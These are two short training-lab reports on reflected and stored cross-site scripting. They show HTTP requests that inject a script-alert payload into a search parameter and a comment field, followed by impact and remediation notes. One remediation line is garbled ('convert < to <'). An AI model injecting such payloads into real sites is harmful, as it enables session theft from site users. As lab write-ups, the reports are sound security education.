

Cross-Site Scripting (XSS) Concise Reports (Lab 1 & Lab 2)

Lab 1: Reflected XSS into HTML Context with No Encoding

Vulnerability Type	Reflected Cross-Site Scripting (XSS)
Severity	MEDIUM
Vulnerable Parameter	search (GET request)
Assessor	Rachit Dhyani

Objective & Concept

Inject an arbitrary JavaScript payload into the search input parameter that reflects directly in the HTML response without sanitization or HTML encoding.

Proof of Concept (Payload)

```
GET /?search=%3Cscript%3Ealert%281%29%3C%2Fscript%3E HTTP/1.1
Host: target-app.web-security-academy.net
```

Reflected HTML Context: <h1>0 search results for '<script>alert(1)</script>'</h1>

Impact & Remediation

- **Impact:** Session Hijacking, Cookie Theft, Arbitrary Script Execution in victim's browser context.
- **Remediation:** Context-aware HTML entity encoding (e.g., convert < to <).

Lab 2: Stored XSS into HTML Context with No Encoding

Vulnerability Type	Stored / Persistent Cross-Site Scripting (XSS)
Severity	HIGH
Vulnerable Parameter	comment (POST request)
Assessor	Rachit Dhyani

Objective & Concept

Submit a comment containing a JavaScript payload that is stored persistently in the database and executed whenever any user views the blog post.

Proof of Concept (Payload)

```
POST /post/comment HTTP/1.1
Host: target-app.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
```

```
postId=2&comment=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&name=Tester&email=test%40test.com&website=
```

Impact & Remediation

- **Impact:** Persistent execution impacting all visiting users, site-wide CSRF exploitation, session takeover.
- **Remediation:** Sanitize user input before storing and implement strict HTML output encoding + Content Security Policy (CSP).